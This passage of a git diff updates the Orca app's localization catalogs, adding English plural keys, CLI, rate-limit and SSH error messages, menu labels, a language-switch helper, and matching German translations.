           "moreNotesInSourceControl_other": "{{count}} more notes in Source Control",
           "showAiNotes_one": "Show {{count}} AI note",
           "showAiNotes_other": "Show {{count}} AI notes",
+          "skippedConflictsExcluded": "{{count}} unresolved conflicts were excluded from this diff view.",
           "skippedConflictsExcluded_one": "{{count}} unresolved conflict was excluded from this diff view.",
           "skippedConflictsExcluded_other": "{{count}} unresolved conflicts were excluded from this diff view."
         },
@@ -346,6 +350,7 @@
       },
       "onboarding": {
         "AgentStep": {
+          "showMoreAgents": "Show {{value0}} more agents →",
           "showMoreAgents_one": "Show {{count}} more agent →",
           "showMoreAgents_other": "Show {{count}} more agents →"
         }
@@ -624,6 +629,10 @@
           "worktreeCountLabel_one": "{{count}} worktree",
           "worktreeCountLabel_other": "{{count}} worktrees"
         },
+        "FolderWorkspaceSourceControl": {
+          "changeCount_one": "{{count}} change",
+          "changeCount_other": "{{count}} changes"
+        },
         "FolderWorkspaceWorktreesPanel": {
           "attachedCount_one": "{{count}} attached worktree",
           "attachedCount_other": "{{count}} attached worktrees"
@@ -798,8 +807,10 @@
         "sshHostServer": {
           "automationsLeftDisabled_one": "This host’s Orca server took over {{count}} automation but couldn’t turn it back on. Turn it on in Automations.",
           "automationsLeftDisabled_other": "This host’s Orca server took over {{count}} automations but couldn’t turn them back on. Turn them on in Automations.",
+          "linkedProjects": "This host’s Orca server already had {{paths}}, so this desktop now uses the server’s copy. This desktop’s tabs and {{count}} automations there were not moved, and worktrees it created there show as external worktrees.",
           "linkedProjects_one": "This host’s Orca server already had {{paths}}, so this desktop now uses the server’s copy. This desktop’s tabs and {{count}} automation there were not moved, and worktrees it created there show as external worktrees.",
           "linkedProjects_other": "This host’s Orca server already had {{paths}}, so this desktop now uses the server’s copy. This desktop’s tabs and {{count}} automations there were not moved, and worktrees it created there show as external worktrees.",
+          "olderTerminals": "{{count}} terminals started by an older version of Orca are still running on this host, and they don’t stop on their own. Close them in that version of Orca or end them on the host, then reconnect.",
           "olderTerminals_one": "{{count}} terminal started by an older version of Orca is still running on this host, and it doesn’t stop on its own. Close it in that version of Orca or end it on the host, then reconnect.",
           "olderTerminals_other": "{{count}} terminals started by an older version of Orca are still running on this host, and they don’t stop on their own. Close them in that version of Orca or end them on the host, then reconnect."
         },
@@ -840,6 +851,7 @@
       },
       "sidebar": {
         "AddRemoteHostDialog": {
+          "sshImportSynced": "Added {{value0}} host{{value1}} to Orca.",
           "sshImportSynced_one": "Added {{count}} host to Orca.",
           "sshImportSynced_other": "Added {{count}} hosts to Orca."
         },
@@ -864,6 +876,7 @@
         "DeleteWorktreeDirtyChangeHint": {
           "changesLost_one": "{{count}} uncommitted change will be lost",
           "changesLost_other": "{{count}} uncommitted changes will be lost",
+          "moreLoadedPaths": "and {{value0}} more loaded paths",
           "moreLoadedPaths_one": "and {{count}} more loaded path",
           "moreLoadedPaths_other": "and {{count}} more loaded paths"
         },
@@ -902,6 +915,7 @@
           "reviewHiddenWorktrees_other": "Review {{count}} hidden worktrees in {{scope}}"
         },
         "PreservedBranchBatchReviewDialog": {
+          "a0f9863597": "Force Delete {{count}} Branches",
           "a0f9863597_one": "Force Delete {{count}} Branch",
           "a0f9863597_other": "Force Delete {{count}} Branches"
         },
@@ -973,14 +987,19 @@
           "branch": {
             "batch": {
               "toast": {
+                "0e0379f24a": "{{count}} branches kept",
                 "0e0379f24a_one": "{{count}} branch kept",
                 "0e0379f24a_other": "{{count}} branches kept",
+                "6310412304": "Review {{count}} Branches",
                 "6310412304_one": "Review {{count}} Branch",
                 "6310412304_other": "Review {{count}} Branches",
+                "a3cdd9d9e6": "Git kept {{count}} local branches because they may contain unmerged commits. Kept branches do not retain workspace folders; their commits remain in the repository. Orca may continue freeing workspace disk space in the background.",
                 "a3cdd9d9e6_one": "Git kept {{count}} local branch because it may contain unmerged commits. Kept branches do not retain workspace folders; their commits remain in the repository. Orca may continue freeing workspace disk space in the background.",
                 "a3cdd9d9e6_other": "Git kept {{count}} local branches because they may contain unmerged commits. Kept branches do not retain workspace folders; their commits remain in the repository. Orca may continue freeing workspace disk space in the background.",
+                "cea24c2b7d": "{{count}} workspaces removed",
                 "cea24c2b7d_one": "{{count}} workspace removed",
                 "cea24c2b7d_other": "{{count}} workspaces removed",
+                "d42f1f14e0": "Retry {{count}} Branches",
                 "d42f1f14e0_one": "Retry {{count}} Branch",
                 "d42f1f14e0_other": "Retry {{count}} Branches"
               }
@@ -1145,6 +1164,7 @@
             "moreSshHosts_other": "Find among {{count}} more SSH hosts…"
           },
           "StatusBar": {
+            "codexSignInError": "Codex sign-in failed. Please try again.",
             "rateLimitResetsAvailable_one": "{{count}} rate-limit reset available",
             "rateLimitResetsAvailable_other": "{{count}} rate-limit resets available",
             "staleCodexSessions_one": "{{count}} Codex session is still on the old account.",
@@ -1202,6 +1222,7 @@
         "project": {
           "source": {
             "combobox": {
+              "hostCount": "{{value0}} hosts",
               "hostCount_one": "{{count}} host",
               "hostCount_other": "{{count}} hosts"
             }
@@ -1246,15 +1267,43 @@
     },
     "hooks": {
       "useComposerState": {
+        "dropPartiallyAttached": "{{failureCount}} of {{count}} items could not be attached.",
         "dropPartiallyAttached_one": "{{failureCount}} of {{count}} item could not be attached.",
         "dropPartiallyAttached_other": "{{failureCount}} of {{count}} items could not be attached."
       },
       "useGlobalFileDrop": {
+        "nativeDropTempCopyFailed": "Orca couldn't copy {{count}} dropped files.",
         "nativeDropTempCopyFailed_one": "Orca couldn't copy {{count}} dropped file.",
         "nativeDropTempCopyFailed_other": "Orca couldn't copy {{count}} dropped files."
       }
     },
     "lib": {
+      "cli": {
+        "detail": {
+          "devLauncherOnly": "Development mode uses a generated launcher for validation only.",
+          "differentLauncher": "{{path}} points to a different launcher.",
+          "launcherMissing": "The bundled CLI launcher is missing from this Orca build.",
+          "noWslDistro": "No WSL distribution is available.",
+          "notOrcaLauncherScript": "{{path}} exists but is not an Orca launcher script.",
+          "notOrcaSymlink": "{{path}} exists but is not an Orca symlink.",
+          "olderLauncher": "{{path}} contains an older Orca launcher.",
+          "platformUnsupported": "CLI registration is not implemented on this platform.",
+          "readlinkPermissionDenied": "Orca does not have permission to inspect {{path}}. Check the path and its parent directory permissions, then try again.",
+          "registeredAt": "Registered at {{path}}.",
+          "registeredInDistroAt": "Registered in {{distro}} at {{path}}.",
+          "registrationUnavailable": "CLI registration is unavailable on this build.",
+          "unreadableSymlink": "{{path}} cannot be read. Register again to repair it.",
+          "windowsLauncherMissing": "The Windows Orca CLI launcher is missing.",
+          "windowsPathCheckFailed": "The Orca launcher exists, but Orca could not check your Windows user PATH.",
+          "windowsPathTimedOut": "Windows PATH command timed out after {{ms}}ms.",
+          "wslCommandTimedOut": "WSL command timed out after {{ms}}ms.",
+          "wslDistroUnreachable": "Could not reach the WSL distro. Try again.",
+          "wslHomeUnresolved": "Unable to resolve the WSL home directory.",
+          "wslInteropUnavailable": "WSL Windows interop is unavailable; Orca cannot launch the Windows CLI from WSL.",
+          "wslRegistrationUnavailable": "WSL CLI registration is unavailable.",
+          "wslWindowsOnly": "WSL CLI registration is only available on Windows."
+        }
+      },
       "dropFailureReason": {
         "changed": "The file changed while it was uploading. Try again.",
         "disconnected": "The host is disconnected.",
@@ -1267,6 +1316,91 @@
         "permissionDenied": "Permission denied.",
         "symlink": "Symbolic links cannot be attached.",
         "unsupported": "Unsupported file type."
+      },
+      "emulator": {
+        "androidSdkNotFound": "Android SDK not found. Install Android Studio and set ANDROID_HOME.",
+        "xcodeSimulatorToolsUnavailable": "Xcode Simulator tools are unavailable. Install full Xcode, open it once, then select it with `sudo xcode-select --switch /Applications/Xcode.app/Contents/Developer`."
+      },
+      "rateLimits": {
+        "errors": {
+          "chatgptAuthRequired": "ChatGPT authentication required to read rate limits",
+          "claudeKeychainUnavailable": "Claude Keychain credentials unavailable",
+          "claudeOauthTokenUnavailable": "Claude OAuth access token unavailable",
+          "claudePlanUsageUnavailable": "Claude plan usage is unavailable for this Claude CLI session.",
+          "claudeRateLimited": "Claude usage is rate limited right now.",
+          "claudeUsageUnavailable": "Claude usage is unavailable right now.",
+          "claudeWaitingCredentialRotate": "Claude usage refresh is waiting for the live Claude terminal to rotate its credentials.",
+          "cliExitedBeforeStatus": "CLI exited before status was available",
+          "cliExitedBeforeUsage": "CLI exited before /usage rendered",
+          "codexCliCannotRun": "Codex CLI found but could not run — Node.js may not be in your PATH",
+          "codexCliNotFound": "Codex CLI not found",
+          "codexHomeUnavailable": "Codex home unavailable",
+          "codexNotSignedIn": "Codex not signed in",
+          "codexRebuildingIndex": "Codex is rebuilding its session index; usage will refresh when recovery finishes",
+          "codexResetFailedHttp": "Codex reset failed: HTTP {{status}}",
+          "codexResetIdempotencyRequired": "Codex reset idempotency key is required",
+          "codexResetUnknownOutcome": "Unknown Codex reset outcome",
+          "codexSignInCheckTimeout": "Timed out while checking Codex sign-in status",
+          "codexSignInStatusUnavailable": "Codex sign-in status is unavailable",
+          "couldNotParseUsageAnyWorkspace": "Could not parse usage data from any available workspace",
+          "couldNotParseUsagePage": "Could not parse usage data from page",
+          "failedToLoadUsage": "Failed to load usage data",
+          "failedToParseCliOutput": "Failed to parse CLI output",
+          "fetchAborted": "Rate-limit fetch aborted",
+          "geminiCredentialsNotFound": "Gemini CLI credentials not found",
+          "geminiOauthDisabled": "Gemini CLI OAuth is disabled in settings",
+          "geminiProjectIdLoadFailed": "Failed to load Gemini project ID (HTTP {{status}})",
+          "geminiProjectIdMissingInResponse": "Gemini project ID not found in API response",
+          "geminiProjectIdNotFound": "Gemini project ID not found",
+          "grokAuthInvalid": "Grok auth file is invalid",
+          "grokAuthUnreadable": "Unable to read Grok auth file",
+          "grokBillingConfigMissing": "Grok billing response did not include config",
+          "grokBillingUsageMissing": "Grok billing response did not include credit usage",
+          "grokNotSignedIn": "Not signed in to Grok — run grok login",
+          "grokSignInExpired": "Grok sign-in expired — run grok on the computer running Orca; sign in if prompted. No chat message is needed.",
+          "grokUsageFailedHttp": "Grok usage request failed (HTTP {{status}})",
+          "grokUsageRequestFailed": "Grok usage request failed",
+          "grokUsageUnauthorizedHttp": "Grok usage request unauthorized (HTTP {{status}})",
+          "kimiCredentialsInvalid": "Kimi credentials file is invalid",
+          "kimiCredentialsMissingToken": "Kimi credentials file is missing an access token",
+          "kimiCredentialsUnreadable": "Unable to read Kimi credentials",
+          "kimiNotSignedIn": "Not signed in to Kimi Code",
+          "kimiQuotaWindowsMissing": "Kimi usage response did not include quota windows",
+          "kimiSessionExpired": "Kimi session expired — run kimi {{where}}, then retry usage.",
+          "kimiUsageFailedHttp": "Kimi usage request failed (HTTP {{status}})",
+          "kimiUsageRequestFailed": "Kimi usage request failed",
+          "kimiUsageUnauthorizedHttp": "Kimi usage request unauthorized (HTTP {{status}})",
+          "minimaxAuthCookieMissing": "MiniMax auth cookie not found — paste a Cookie header with _token",
+          "minimaxCookieDecryptFailed": "MiniMax session cookie could not be decrypted",
+          "minimaxCookieNotConfigured": "MiniMax session cookie not configured",
+          "minimaxInvalidUsageResponse": "Invalid MiniMax usage response",
+          "minimaxModelUsageMissing": "MiniMax usage data for the configured model was not found",
+          "minimaxReturnedError": "MiniMax returned an error",
+          "minimaxSessionExpired": "MiniMax session expired. Replace the MiniMax cookie in Settings.",
+          "minimaxUnknownUsageError": "Unknown MiniMax usage error",
+          "minimaxUsageFetchFailed": "MiniMax usage fetch failed ({{status}})",
+          "noCredentials": "No credentials",
+          "noSubscriptionApiKeyBilling": "No subscription plan — API key billing",
+          "opencodeNoAuthCookie": "No auth cookie found — paste the full Cookie header from opencode.ai DevTools",
+          "opencodeNoWorkspaceId": "No workspace ID found — set a Workspace ID override in settings",
+          "opencodeNoWorkspaceIdShort": "No workspace ID found",
+          "ptyTimeout": "PTY timeout",
+          "ptyUsageTimeout": "PTY timeout — /usage panel did not render",
+          "quotaFetchFailed": "Quota fetch failed ({{status}})",
+          "rpcFailed": "RPC failed",
+          "rpcProcessExited": "RPC process exited unexpectedly",
+          "rpcTimeout": "RPC timeout",
+          "sessionCookieNotConfigured": "Session cookie not configured",
+          "signInWithChatgpt": "Sign in with ChatGPT",
+          "tokenRefreshFailed": "Token refresh failed",
+          "unknown": "Unknown error",
+          "usagePageFetchFailed": "Usage page fetch failed ({{status}})",
+          "waitingForClaudeSession": "Waiting for Claude session",
+          "workspacesFetchFailed": "Workspaces fetch failed ({{status}})",
+          "wslClaudeConfigUnavailable": "WSL Claude config unavailable for {{distro}}",
+          "wslCodexHomeUnavailable": "WSL Codex home unavailable for {{distro}}",
+          "wslKimiHomeUnavailable": "WSL Kimi home unavailable for {{distro}}"
+        }
       }
     },
     "runtime": {
@@ -1473,6 +1607,7 @@
         "asked": "Asked:",
         "awaiting": "Awaiting user input:",
         "awaitingUnnamed": "Awaiting user input",
+        "questionCount": "{{value0}} questions",
         "questionCount_one": "{{count}} question",
         "questionCount_other": "{{count}} questions"
       },
@@ -1496,6 +1631,7 @@
         "groupShell": "Shell",
         "groupTasks": "Tasks",
         "groupWorkflows": "Workflows",
+        "headerTotal": "{{value0}} background tasks",
         "headerTotal_one": "{{count}} background task",
         "headerTotal_other": "{{count}} background tasks",
         "monitor": "Background monitor",
@@ -1504,24 +1640,31 @@
         "reasonBlocked": "failed",
         "reasonWaiting": "needs approval",
         "stateBlocked": "blocked",
+        "stateBlockedCount": "{{value0}} blocked",
         "stateBlockedCount_one": "{{value0}} blocked",
         "stateBlockedCount_other": "{{value0}} blocked",
         "stateDone": "done",
+        "stateDoneCount": "{{value0}} done",
         "stateDoneCount_one": "{{value0}} done",
         "stateDoneCount_other": "{{value0}} done",
         "stateIdle": "stopped",
+        "stateIdleCount": "{{value0}} stopped",
         "stateIdleCount_one": "{{value0}} stopped",
         "stateIdleCount_other": "{{value0}} stopped",
         "stateMonitoring": "monitoring",
+        "stateMonitoringCount": "{{value0}} monitoring",
         "stateMonitoringCount_one": "{{value0}} monitoring",
         "stateMonitoringCount_other": "{{value0}} monitoring",
         "stateUnverifiable": "status unavailable",
+        "stateUnverifiableCount": "{{value0}} with status unavailable",
         "stateUnverifiableCount_one": "{{value0}} with status unavailable",
         "stateUnverifiableCount_other": "{{value0}} with status unavailable",
         "stateWaiting": "waiting",
+        "stateWaitingCount": "{{value0}} waiting",
         "stateWaitingCount_one": "{{value0}} waiting",
         "stateWaitingCount_other": "{{value0}} waiting",
         "stateWorking": "working",
+        "stateWorkingCount": "{{value0}} working",
         "stateWorkingCount_one": "{{value0}} working",
         "stateWorkingCount_other": "{{value0}} working",
         "stop": "Stop",
@@ -1712,6 +1855,7 @@
         "editFailed": "This message can't be edited.",
         "editGone": "This message was already sent or removed. Your edit is in the chat box.",
         "editGonePrompt": "This message was already sent or removed. Your edit will be in the chat box after you answer the agent.",
+        "imageCount": "{{count}} images",
         "imageCount_one": "{{count}} image",
         "imageCount_other": "{{count}} images"
       },
@@ -1770,24 +1914,30 @@
         "state": {
           "completed": "completed",
           "failed": "failed",
+          "failedCount": "{{value0}} failed",
           "failedCount_one": "{{count}} failed",
           "failedCount_other": "{{count}} failed",
           "idle": "idle",
+          "idleCount": "{{value0}} idle",
           "idleCount_one": "{{count}} idle",
           "idleCount_other": "{{count}} idle",
           "stopped": "stopped",
+          "stoppedCount": "{{value0}} stopped",
           "stoppedCount_one": "{{count}} stopped",
           "stoppedCount_other": "{{count}} stopped",
           "unverifiable": "status unavailable",
+          "unverifiableCount": "{{value0}} with status unavailable",
           "unverifiableCount_one": "{{count}} with status unavailable",
           "unverifiableCount_other": "{{count}} with status unavailable",
           "working": "working",
+          "workingCount": "{{value0}} working",
           "workingCount_one": "{{count}} working",
           "workingCount_other": "{{count}} working"
         },
         "tokens": "{{value0}} tokens"
       },
       "taskList": {
+        "progress": "{{completed}} of {{total}} tasks completed",
         "progress_one": "{{completed}} of {{count}} task completed",
         "progress_other": "{{completed}} of {{count}} tasks completed"
       },
@@ -2089,7 +2239,15 @@
     "liveTerminals_other": "{{count}} live terminals will reconnect after restart."
   },
   "menu": {
-    "quitApp": "Quit {{appName}}"
+    "about": "About Orca",
+    "hide": "Hide Orca",
+    "hideOthers": "Hide Others",
+    "minimize": "Minimize",
+    "quitApp": "Quit {{appName}}",
+    "services": "Services",
+    "toggleFullScreen": "Toggle Full Screen",
+    "unhide": "Show All",
+    "zoom": "Zoom"
   },
   "pet": {
     "defaultLabels": {
@@ -2224,6 +2382,11 @@
       }
     },
     "shortcuts": {
+      "actions": {
+        "tab": {
+          "newAgent": "New agent tab (default agent)"
+        }
+      },
       "diagnostics": {
         "conflictingOverrides": "Conflicting custom shortcuts were ignored: {{actions}}.",
         "platformsNotObject": "platforms must be an object with darwin, linux, or win32 sections.",
@@ -2233,16 +2396,49 @@
         "unknownAction": "Unknown keybinding action \"{{actionId}}\" was ignored.",
         "unknownPlatform": "Unknown platform \"{{platform}}\" was ignored."
       },
+      "groups": {
+        "agents": "Agents",
+        "browser": "Browser",
+        "chat": "Chat",
+        "editors": "Editors",
+        "fileExplorer": "File Explorer",
+        "global": "Global",
+        "quickCommands": "Quick Commands",
+        "settings": "Settings",
+        "tabNavigation": "Tab Navigation",
+        "tabs": "Tabs",
+        "terminalPanes": "Terminal Panes"
+      },
       "validation": {
+        "digitIndex": "Pick a number key 1–9 with a modifier, like Cmd+1 or Ctrl+1.",
         "digitKeyRequired": "Pick a number key 1–9 with a modifier, like Cmd+1 or Ctrl+1.",
+        "exampleChord": "Use a shortcut like Ctrl+Shift+P or Cmd+K.",
         "fileNotObject": "Keybindings file must contain a JSON object.",
         "invalidBindingValue": "Use a string, string array, null, or false.",
         "invalidFormat": "Use a shortcut like Ctrl+Shift+P or Cmd+K.",
         "mixedModifiers": "Use either Mod or a platform-specific modifier, not both.",
+        "modOrPlatform": "Use either Mod or a platform-specific modifier, not both.",
         "modifierOnly": "Press a key, not only a modifier.",
         "modifierRequired": "Include at least one modifier key.",
+        "needModifier": "Include at least one modifier key.",
+        "needNonModifier": "Press a key, not only a modifier.",
         "stringArrayRequired": "Use a string array."
       }
+    },
+    "ssh": {
+      "errors": {
+        "authMethodsFailed": "All configured authentication methods failed",
+        "badPassphrase": "Cannot parse privateKey: OpenSSH key integrity check failed -- bad passphrase?",
+        "connectionRefused": "Connection refused",
+        "connectionTimedOut": "Connection timed out",
+        "handshakeLost": "Connection lost before handshake",
+        "handshakeTimeout": "Timed out while waiting for handshake",
+        "hostKeyVerificationFailed": "Host key verification failed",
+        "hostNotFound": "Host not found",
+        "passphraseRequired": "Cannot parse privateKey: Encrypted private OpenSSH key detected, but no passphrase given",
+        "permissionDenied": "Permission denied",
+        "permissionDeniedPublickey": "Permission denied (publickey)"
+      }
     }
   },
   "sidebar": {
@@ -2491,14 +2687,18 @@
   },
   "terminal": {
     "newerDaemonBanner": {
+      "reopenTerminal": "Reopen {{count}} terminals",
       "reopenTerminal_one": "Reopen terminal",
       "reopenTerminal_other": "Reopen {{count}} terminals",
+      "reopened": "Reopened {{count}} terminals",
       "reopened_one": "Reopened {{count}} terminal",
       "reopened_other": "Reopened {{count}} terminals",
+      "resumed": "{{count}} agent sessions resumed.",
       "resumed_one": "{{count}} agent session resumed.",
       "resumed_other": "{{count}} agent sessions resumed."
     },
     "severedDaemonBanner": {
+      "count": "{{count}} running terminals",
       "count_one": "{{count}} running terminal",
       "count_other": "{{count}} running terminals"
     }
diff --git a/src/renderer/src/i18n/i18n.ts b/src/renderer/src/i18n/i18n.ts
index 6c37d2c61d6..1e72099a22a 100644
--- a/src/renderer/src/i18n/i18n.ts
+++ b/src/renderer/src/i18n/i18n.ts
@@ -164,6 +164,14 @@ export async function loadRendererUiLanguage(language: UiLanguage): Promise<stri
   return locale
 }
 
+/** Test entry point: load the locale catalog, then switch the renderer language. */
+export async function setRendererUiLanguage(language: UiLanguage): Promise<void> {
+  const locale = await loadRendererUiLanguage(language)
+  if (i18n.language !== locale) {
+    await i18n.changeLanguage(locale)
+  }
+}
+
 /** Resolve an Intl-compatible BCP-47 tag: plugin pack resources use the pack’s declared tag, then the default locale. */
 export function getIntlLocale(): string {
   const active = i18n.language
diff --git a/src/renderer/src/i18n/locales/de.json b/src/renderer/src/i18n/locales/de.json
index c1ff4d55106..81e3aca0032 100644
--- a/src/renderer/src/i18n/locales/de.json
+++ b/src/renderer/src/i18n/locales/de.json
@@ -240,23 +240,19 @@
     }
   },
   "browser": {
-    "passwords": {
-      "savePrompt": {
-        "open": "Aufforderung zum Speichern des Passworts",
-        "updateTitle": "Passwort aktualisieren?",
-        "saveTitle": "Passwort speichern?",
-        "username": "Benutzername",
-        "password": "Passwort",
-        "never": "Nie für diese Website",
-        "notNow": "Jetzt nicht",
-        "update": "Aktualisieren",
-        "save": "Speichern"
-      },
-      "fill": {
-        "noUsername": "(kein Benutzername)",
-        "title": "Gespeicherte Anmeldungen",
-        "otherLogins": "Weitere Anmeldungen auf dieser Website"
-      }
+    "googleCookieClear": {
+      "signInKeyword": "Anmeldung",
+      "unavailable": "Für dieses Profil auf dem ausgewählten Host nicht verfügbar.",
+      "explanation": "Google bindet Anmeldungen an den Browser, in dem sie erfolgt sind, daher importiert Orca keine Google-Cookies aus anderen Browsern. Wenn Google am falschen Konto hängt oder dich immer wieder abmeldet, lösche die Google-Cookies aus dem aktiven Profil und melde dich dann in Orca erneut bei Google an. Andere Websites bleiben angemeldet.",
+      "action": "Google-Cookies löschen…",
+      "confirmTitle": "Google-Cookies aus {{profile}} löschen?",
+      "confirmDescription": "Du wirst in Orcas Browser für dieses Profil von Google abgemeldet. Andere Websites bleiben angemeldet.",
+      "clear": "Löschen",
+      "cancel": "Abbrechen",
+      "cleared": "Google-Cookies aus {{profile}} gelöscht.",
+      "empty": "Keine Google-Cookies zum Löschen in {{profile}}.",
+      "remaining": "Einige Google-Cookies konnten nicht aus {{profile}} entfernt werden. Erneut versuchen.",
+      "unverified": "Google-Cookies von {{profile}} konnten nicht geprüft werden. Erneut versuchen."
     },
     "loadFailure": {
       "connectionNotSecure": "Die Verbindung ist nicht sicher",
@@ -473,6 +469,24 @@
         "imported_other": "{{count}} Cookies für {{domains}} importiert. Zur Verwendung die Seite neu laden.",
         "failed": "Cookie-Import fehlgeschlagen: {{reason}}"
       }
+    },
+    "passwords": {
+      "savePrompt": {
+        "open": "Aufforderung zum Speichern des Passworts",
+        "updateTitle": "Passwort aktualisieren?",
+        "saveTitle": "Passwort speichern?",
+        "username": "Benutzername",
+        "password": "Passwort",
+        "never": "Nie für diese Website",
+        "notNow": "Jetzt nicht",
+        "update": "Aktualisieren",
+        "save": "Speichern"
+      },
+      "fill": {
+        "noUsername": "(kein Benutzername)",
+        "title": "Gespeicherte Anmeldungen",
+        "otherLogins": "Weitere Anmeldungen auf dieser Website"
+      }
     }
   },
   "editor": {
@@ -668,6 +682,21 @@
         "sharper": "Schärfer",
         "terminalControlledHint": "Durch die Terminal-Oberfläche festgelegt.",
         "terminalControlledTooltip": "An die Terminal-Oberfläche angepasst. Zum Ändern „An Terminal-Oberfläche anpassen“ deaktivieren."
+      },
+      "editorTheme": {
+        "light": "Helles Editor-Design",
+        "lightDescription": "Farben für Code-Editor, Diff und Notebooks bei hellem App-Design.",
+        "dark": "Dunkles Editor-Design",
+        "darkDescription": "Farben für Code-Editor, Diff und Notebooks bei dunklem App-Design.",
+        "followApp": "Wie das App-Design",
+        "title": "Editor-Design",
+        "description": "Farben für Code-Editor, Diff und Notebooks unabhängig vom App-Design.",
+        "keyword": {
+          "editor": "Editor",
+          "code": "Code",
+          "monaco": "monaco",
+          "syntax": "Syntax"
+        }
       }
     },
     "browser": {
@@ -868,6 +897,7 @@
       "defaultSurfaceSetAllChat": "Alle auf Chat setzen",
       "defaultSurfaceSetAllTerminal": "Alle auf Terminal setzen",
       "sameAsChoice": "Wie {{agent}} · {{choice}}",
+      "modelListFallback": "Integrierte Liste. Orca konnte von diesem Host keine Modellliste abrufen.",
       "chatUnavailableOnWindows": "{{value0}} Chat ist unter Windows noch nicht verfügbar, daher öffnet sich {{value0}} auf diesem Host in einem Terminal. Chats auf einem macOS- oder Linux-Host funktionieren weiterhin.",
       "undetectedCommandHint": "Wenn die {{agent}}-CLI außerhalb von PATH installiert ist, gib den vollständigen Pfad zu ihrer ausführbaren Datei auf diesem Host ein."
     },
@@ -1909,6 +1939,46 @@
         "title": "Ordner auf Windows-Laufwerken auf diesem Computer hinzufügen",
         "descriptionWithPath": "{{value0}} befindet sich auf einem Windows-Laufwerk. Git in WSL meldet dort fälschlicherweise Änderungen an Zeilenenden, erkennt unter Windows vorgenommene Änderungen nicht und durchsucht das Laufwerk nur langsam.",
         "description": "Dieser Ordner befindet sich auf einem Windows-Laufwerk. Git in WSL meldet dort fälschlicherweise Änderungen an Zeilenenden, erkennt unter Windows vorgenommene Änderungen nicht und durchsucht das Laufwerk nur langsam."
+      },
+      "cli": {
+        "detail": {
+          "registerForWsl": "{{path}} registrieren, um Orca aus WSL zu verwenden.",
+          "registerForTerminal": "{{path}} registrieren, um Orca im Terminal zu verwenden.",
+          "registerForWindowsShell": "{{path}} registrieren, um Orca aus der Eingabeaufforderung oder PowerShell zu verwenden.",
+          "devLauncherOnly": "Der Entwicklungsmodus verwendet einen generierten Launcher nur zur Validierung.",
+          "differentLauncher": "{{path}} verweist auf einen anderen Launcher.",
+          "launcherMissing": "Der gebündelte CLI-Launcher fehlt in diesem Orca-Build.",
+          "noWslDistro": "Es ist keine WSL-Distribution verfügbar.",
+          "notOrcaLauncherScript": "{{path}} existiert, ist aber kein Orca-Launcher-Skript.",
+          "notOrcaSymlink": "{{path}} existiert, ist aber kein Orca-Symlink.",
+          "olderLauncher": "{{path}} enthält einen älteren Orca-Launcher.",
+          "platformUnsupported": "Die CLI-Registrierung ist auf dieser Plattform nicht implementiert.",
+          "readlinkPermissionDenied": "Orca hat keine Berechtigung, {{path}} zu prüfen. Prüfe die Berechtigungen des Pfads und seines übergeordneten Verzeichnisses und versuche es dann erneut.",
+          "registeredAt": "Registriert unter {{path}}.",
+          "registeredInDistroAt": "In {{distro}} unter {{path}} registriert.",
+          "registrationUnavailable": "Die CLI-Registrierung ist in diesem Build nicht verfügbar.",
+          "unreadableSymlink": "{{path}} kann nicht gelesen werden. Registriere erneut, um das Problem zu beheben.",
+          "windowsLauncherMissing": "Der Windows-Orca-CLI-Launcher fehlt.",
+          "windowsPathCheckFailed": "Der Orca-Launcher ist vorhanden, aber Orca konnte deinen Windows-Benutzer-PATH nicht prüfen.",
+          "windowsPathTimedOut": "Der Windows-PATH-Befehl hat nach {{ms}} ms das Zeitlimit überschritten.",
+          "wslCommandTimedOut": "Der WSL-Befehl hat nach {{ms}} ms das Zeitlimit überschritten.",
+          "wslDistroUnreachable": "Die WSL-Distribution ist nicht erreichbar. Erneut versuchen.",
+          "wslHomeUnresolved": "Das WSL-Home-Verzeichnis konnte nicht ermittelt werden.",
+          "wslInteropUnavailable": "Die WSL-Windows-Interoperabilität ist nicht verfügbar; Orca kann die Windows-CLI nicht aus WSL starten.",
+          "wslRegistrationUnavailable": "Die WSL-CLI-Registrierung ist nicht verfügbar.",
+          "wslWindowsOnly": "Die WSL-CLI-Registrierung ist nur unter Windows verfügbar."
+        }
+      },
+      "projectHostSetupOptions": {
+        "locationNotSet": "Projektverzeichnis nicht festgelegt"
+      },
+      "workspacePortScan": {
+        "serverSshUpdateRequired": "Aktualisieren Sie den Server, um Ports auf seinen SSH-Hosts anzuzeigen.",
+        "hostMismatch": "Der Server hat einen anderen Host als den dieses Arbeitsbereichs durchsucht."
+      },
+      "workspacePortBrowserOpen": {
+        "systemBrowserHint": "{{shortcut}}+Klick zum Öffnen im Systembrowser",
+        "tooltip": "{{label}}. {{hint}}"
       }
     },
     "hooks": {
@@ -2489,7 +2559,6 @@
         "23886c7eec": "Label hinzufügen",
         "7f7b89b631": "Schlagwörter: {{value0}}",
         "b2376d0179": "Mitglieder werden geladen",
-        "866316f22c": "Nicht zugewiesen",
         "b5675b0694": "Speichern",
         "ceeb8c6153": "Leeren",
         "fbb90300e2": "Benutzerdefinierte Schätzung",
@@ -3669,7 +3738,6 @@
               "f4c79cff5f": "Den unten angezeigten Fehler des Arbeitsbereichs prüfen und anschließend aktualisieren.",
               "ef90b21366": "Keine Ansichten gefunden",
               "c0a50f96a4": "Ansichten konnten nicht geladen werden",
-              "df4bd63c1d": "Nicht zugewiesen",
               "30402d2c6e": "Suche oder Aktualisierung versuchen.",
               "a2f31c4cd6": "Keine Linear-Projekte gefunden",
               "c9b6e9f90d": "Linear-Projekte konnten nicht geladen werden",
@@ -7309,6 +7377,19 @@
           "needsInput": "Eingabe erforderlich",
           "running": "Läuft",
           "idle": "Inaktiv"
+        },
+        "hostSection": {
+          "localWindows": "Lokaler Windows",
+          "localMac": "Lokaler Mac",
+          "localLinux": "Lokaler Linux",
+          "thisComputer": "Dieser Computer",
+          "host": "Host"
+        },
+        "workspaceBoardStatus": {
+          "todo": "Zu erledigen",
+          "inProgress": "In Bearbeitung",
+          "inReview": "In Prüfung",
+          "done": "Fertig"
         }
       },
       "shared": {
@@ -7375,6 +7456,21 @@
         }
       },
       "settings": {
+        "keep": {
+          "local": {
+            "main": {
+              "up": {
+                "to": {
+                  "date": {
+                    "setting": {
+                      "f4c23aee76": "Lokalen main-Branch aktuell halten"
+                    }
+                  }
+                }
+              }
+            }
+          }
+        },
         "AccountsPane": {
           "locationSaveFailed": "Der Speicherort der Konten konnte nicht gespeichert werden. Versuche es erneut.",
           "dbb9626ed1": "Abbrechen",
@@ -7600,7 +7696,6 @@
           "5f5142a62a": "Vorheriges Symbol anzeigen"
         },
         "AppearancePane": {
-          "3057983501": "Nicht zugewiesen",
